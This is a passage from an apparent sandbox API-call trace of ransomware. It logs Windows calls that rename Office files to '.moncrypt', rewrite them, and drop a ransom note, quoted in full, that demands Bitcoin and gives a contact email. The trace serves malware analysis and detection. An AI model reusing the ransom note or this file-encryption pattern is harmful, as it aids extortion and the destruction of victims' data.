lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.843] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.843] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.843] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.843] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.843] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.843] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.843] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.843] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0047.843] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", cchWideChar=104, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XMLX×\x18", lpUsedDefaultChar=0x0) returned 104 [0047.843] CharLowerBuffW (in: lpsz=".XML", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0047.843] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XMLX×\x18", lpUsedDefaultChar=0x0) returned 4 [0047.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0047.844] WriteFile (in: hFile=0x190, lpBuffer=0x1e61db8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61db8*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0047.845] CloseHandle (hObject=0x190) returned 1 [0047.845] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\я")) returned 1 [0047.846] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.XML", cAlternateFileName="")) returned 0x54e280 [0047.846] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0047.846] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0047.846] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0047.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", dwFileAttributes=0x20) returned 1 [0047.847] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0047.847] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.moncrypt")) returned 1 [0047.847] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0047.847] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0047.847] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x61d [0047.847] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0047.847] ReadFile (in: hFile=0x190, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x61d, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18e3b4*=0x61d, lpOverlapped=0x0) returned 1 [0047.850] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.850] GlobalLock (hMem=0x440004) returned 0x557578 [0047.850] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.850] GlobalUnlock (hMem=0x44000c) returned 0 [0047.850] GlobalHandle (pMem=0x557578) returned 0x440004 [0047.850] GlobalUnlock (hMem=0x440004) returned 0 [0047.850] GlobalLock (hMem=0x440004) returned 0x555568 [0047.850] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.850] GlobalUnlock (hMem=0x440004) returned 0 [0047.864] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0047.864] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0047.864] CloseHandle (hObject=0x190) returned 1 [0047.864] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0047.864] GlobalLock (hMem=0x440004) returned 0x555568 [0047.864] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.864] GlobalUnlock (hMem=0x440004) returned 0 [0047.864] GlobalLock (hMem=0x440004) returned 0x555568 [0047.864] GlobalLock (hMem=0x44000c) returned 0x557578 [0047.864] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.864] GlobalUnlock (hMem=0x440004) returned 0 [0047.864] GlobalHandle (pMem=0x557578) returned 0x44000c [0047.864] GlobalUnlock (hMem=0x44000c) returned 0 [0047.864] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0047.864] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557578, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69358, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0047.865] GetLastError () returned 0x2 [0047.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0047.866] WriteFile (in: hFile=0x190, lpBuffer=0x1dcc068*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e6a4, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesWritten=0x18e6a4*=0x649, lpOverlapped=0x0) returned 1 [0047.867] CloseHandle (hObject=0x190) returned 1 [0047.867] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0047.867] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0047.867] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.867] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.867] GlobalUnlock (hMem=0x44000c) returned 0 [0047.867] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.867] GlobalLock (hMem=0x440004) returned 0x557578 [0047.867] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.867] GlobalUnlock (hMem=0x44000c) returned 0 [0047.867] GlobalHandle (pMem=0x557578) returned 0x440004 [0047.867] GlobalUnlock (hMem=0x440004) returned 0 [0047.867] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.868] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0x54e280 [0047.868] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0047.868] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0047.868] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0047.868] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML", dwFileAttributes=0x20) returned 1 [0047.869] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0047.869] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.moncrypt")) returned 1 [0047.870] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0047.870] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0047.870] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x8f8 [0047.870] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0047.870] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1c8, nNumberOfBytesToRead=0x8f8, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesRead=0x18e3b4*=0x8f8, lpOverlapped=0x0) returned 1 [0047.871] GlobalLock (hMem=0x440004) returned 0x555568 [0047.871] GlobalLock (hMem=0x44000c) returned 0x557578 [0047.871] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.872] GlobalUnlock (hMem=0x440004) returned 0 [0047.872] GlobalHandle (pMem=0x557578) returned 0x44000c [0047.872] GlobalUnlock (hMem=0x44000c) returned 0 [0047.872] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.872] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.872] GlobalUnlock (hMem=0x44000c) returned 0 [0047.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0047.883] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0047.883] CloseHandle (hObject=0x190) returned 1 [0047.884] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0047.884] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0047.884] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.884] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.884] GlobalUnlock (hMem=0x44000c) returned 0 [0047.884] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.884] GlobalLock (hMem=0x440004) returned 0x557578 [0047.884] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.884] GlobalUnlock (hMem=0x44000c) returned 0 [0047.884] GlobalHandle (pMem=0x557578) returned 0x440004 [0047.884] GlobalUnlock (hMem=0x440004) returned 0 [0047.884] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0047.884] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd0c0c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3dd0c0c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3dd0c0c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e280 [0047.884] FileTimeToLocalFileTime (in: lpFileTime=0x18e4b0, lpLocalFileTime=0x18e430 | out: lpLocalFileTime=0x18e430) returned 1 [0047.884] FileTimeToDosDateTime (in: lpFileTime=0x18e430, lpFatDate=0x18e47e, lpFatTime=0x18e47c | out: lpFatDate=0x18e47e, lpFatTime=0x18e47c) returned 1 [0047.885] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0047.885] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0047.885] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0047.885] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0047.885] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0047.885] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0047.885] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0047.885] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0047.885] ReadFile (in: hFile=0x190, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e6a8, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18e6a8*=0x649, lpOverlapped=0x0) returned 1 [0047.885] CloseHandle (hObject=0x190) returned 1 [0047.885] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0047.885] GetLastError () returned 0x12 [0047.885] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0047.885] GlobalLock (hMem=0x440004) returned 0x555568 [0047.886] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.886] GlobalUnlock (hMem=0x440004) returned 0 [0047.886] GlobalLock (hMem=0x440004) returned 0x555568 [0047.886] GlobalLock (hMem=0x44000c) returned 0x557578 [0047.886] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.886] GlobalUnlock (hMem=0x440004) returned 0 [0047.886] GlobalHandle (pMem=0x557578) returned 0x44000c [0047.886] GlobalUnlock (hMem=0x44000c) returned 0 [0047.886] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3dd0c0c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3dd0c0c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0047.886] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0047.886] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0047.886] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.886] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.886] GlobalUnlock (hMem=0x44000c) returned 0 [0047.886] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.886] GlobalLock (hMem=0x440004) returned 0x557578 [0047.886] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.886] GlobalUnlock (hMem=0x44000c) returned 0 [0047.886] GlobalHandle (pMem=0x557578) returned 0x440004 [0047.886] GlobalUnlock (hMem=0x440004) returned 0 [0047.886] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.886] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3dd0c0c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3dd0c0c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.886] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0047.886] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0047.886] GlobalLock (hMem=0x440004) returned 0x555568 [0047.887] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.887] GlobalUnlock (hMem=0x440004) returned 0 [0047.887] GlobalLock (hMem=0x440004) returned 0x555568 [0047.887] GlobalLock (hMem=0x44000c) returned 0x557578 [0047.887] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.887] GlobalUnlock (hMem=0x440004) returned 0 [0047.887] GlobalHandle (pMem=0x557578) returned 0x44000c [0047.887] GlobalUnlock (hMem=0x44000c) returned 0 [0047.887] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.887] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.XML.moncrypt", cAlternateFileName="EXCELM~1.MON")) returned 1 [0047.887] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: 